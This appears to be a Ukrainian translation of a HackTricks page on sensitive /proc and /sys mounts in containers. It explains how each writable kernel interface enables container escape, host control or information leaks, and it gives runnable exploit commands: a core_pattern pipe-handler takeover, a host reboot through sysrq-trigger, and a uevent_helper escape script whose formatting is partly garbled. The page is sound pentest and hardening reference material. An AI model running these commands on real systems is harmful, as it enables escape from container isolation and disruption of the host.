Sensitive Mounts

Підтримайте HackTricks

Викладення /proc та /sys без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атак та розголошення інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні для несанкціонованого користувача, можуть призвести до втечі контейнера, модифікації хоста або надання інформації, яка допоможе в подальших атаках. Наприклад, неправильне монтування -v /proc:/host/proc може обійти захист AppArmor через його шляхову природу, залишаючи /host/proc незахищеним.

Ви можете знайти додаткові деталі щодо кожної потенційної уразливості за посиланням https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

Уразливості procfs

/proc/sys

Цей каталог дозволяє змінювати ядерні змінні, зазвичай через sysctl(2), і містить кілька підкаталогів, що викликають занепокоєння:

/proc/sys/kernel/core_pattern

  • Описано в core(5).

  • Дозволяє визначити програму для виконання при генерації файлу ядра з першими 128 байтами як аргументами. Це може призвести до виконання коду, якщо файл починається з каналу |.

  • Приклад тестування та експлуатації:

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Перевірка доступу на запис
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Встановлення власного обробника
sleep 5 && ./crash & # Запуск обробника

/proc/sys/kernel/modprobe

  • Детально описано в proc(5).

  • Містить шлях до завантажувача ядра модулів, який викликається для завантаження ядерних модулів.

  • Приклад перевірки доступу:

ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до modprobe

/proc/sys/vm/panic_on_oom

  • Згадується в proc(5).

  • Глобальний прапорець, який контролює, чи викликати паніку ядра, чи викликати вбивцю OOM при виникненні умови OOM.

/proc/sys/fs

  • Згідно з proc(5), містить параметри та інформацію про файлову систему.

  • Доступ на запис може дозволити різноманітні атаки відмови обслуговування проти хоста.

/proc/sys/fs/binfmt_misc

  • Дозволяє реєструвати інтерпретатори для неіноземних бінарних форматів на основі їх магічного числа.

  • Може призвести до підвищення привілеїв або доступу до оболонки root, якщо /proc/sys/fs/binfmt_misc/register доступний для запису.

  • Відповідний експлойт та пояснення:

  • Підробиці уроку: Посилання на відео

Інші в /proc

/proc/config.gz

  • Може розкрити конфігурацію ядра, якщо CONFIG_IKCONFIG_PROC увімкнено.

  • Корисно для зловмисників для виявлення вразливостей у робочому ядрі.

/proc/sysrq-trigger

  • Дозволяє викликати команди Sysrq, що потенційно можуть призвести до негайних перезавантажень системи або інших критичних дій.

  • Приклад перезавантаження хоста:

echo b > /proc/sysrq-trigger # Перезавантажує хост

/proc/kmsg

  • Відкриває повідомлення кільцевого буфера ядра.

  • Може допомогти в експлойтах ядра, витоках адрес та наданні чутливої системної інформації.

/proc/kallsyms

  • Перераховує експортовані символи ядра та їх адреси.

  • Необхідний для розробки експлойтів ядра, особливо для подолання KASLR.

  • Інформація про адресу обмежена з kptr_restrict, встановленим на 1 або 2.

  • Деталі в proc(5).

/proc/[pid]/mem

  • Взаємодіє з пристроєм пам'яті ядра /dev/mem.

  • Історично вразливий до атак підвищення привілеїв.

  • Докладніше у proc(5).

/proc/kcore

  • Представляє фізичну пам'ять системи у форматі ядра ELF.

  • Читання може витікати вміст пам'яті хоста та інших контейнерів.

  • Великий розмір файлу може призвести до проблем з читанням або аварійної зупинки програмного забезпечення.

  • Докладне використання у Вивантаження /proc/kcore в 2019 році.

/proc/kmem

  • Альтернативний інтерфейс для /dev/kmem, що представляє віртуальну пам'ять ядра.

  • Дозволяє читання та запис, отже пряме змінення пам'яті ядра.

/proc/mem

  • Альтернативний інтерфейс для /dev/mem, що представляє фізичну пам'ять.

  • Дозволяє читання та запис, для зміни всієї пам'яті потрібно розробити віртуальні адреси.

/proc/sched_debug

  • Повертає інформацію про планування процесів, обходячи захист PID простору імен.

  • Розкриває назви процесів, ідентифікатори та ідентифікатори cgroup.

/proc/[pid]/mountinfo

  • Надає інформацію про точки монтування в просторі імен процесу.

  • Розкриває місце розташування rootfs або зображення контейнера.

Уразливості /sys

/sys/kernel/uevent_helper

  • Використовується для обробки подій ядра uevents.

  • Запис до /sys/kernel/uevent_helper може виконати довільні скрипти при спрацюванні uevent.

  • Приклад експлуатації: %%%bash

Створює навантаження

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

Знаходить шлях хоста з монтування OverlayFS для контейнера

host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)

Встановлює uevent_helper на шкідливий помічник

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

Запускає подію uevent

echo change > /sys/class/mem/null/uevent

Читає вивід

cat /output %%%

/sys/class/thermal

  • Контролює налаштування температури, потенційно спричиняючи атаки DoS або фізичні пошкодження.

/sys/kernel/vmcoreinfo

  • Витікає адреси ядра, потенційно компрометуючи KASLR.

/sys/kernel/security

  • Містить інтерфейс securityfs, що дозволяє налаштування модулів безпеки Linux, таких як AppArmor.

  • Доступ може дозволити контейнеру вимкнути свою систему MAC.

/sys/firmware/efi/vars та /sys/firmware/efi/efivars

  • Викриває інтерфейси для взаємодії зі змінними EFI в NVRAM.

  • Неправильна конфігурація або експлуатація може призвести до "кирпатих" ноутбуків або незавантажуваних хост-машин.

/sys/kernel/debug

  • debugfs пропонує інтерфейс налагодження "без правил" для ядра.

  • Історія проблем з безпекою через його необмежений характер.

References

Підтримайте HackTricks

Last updated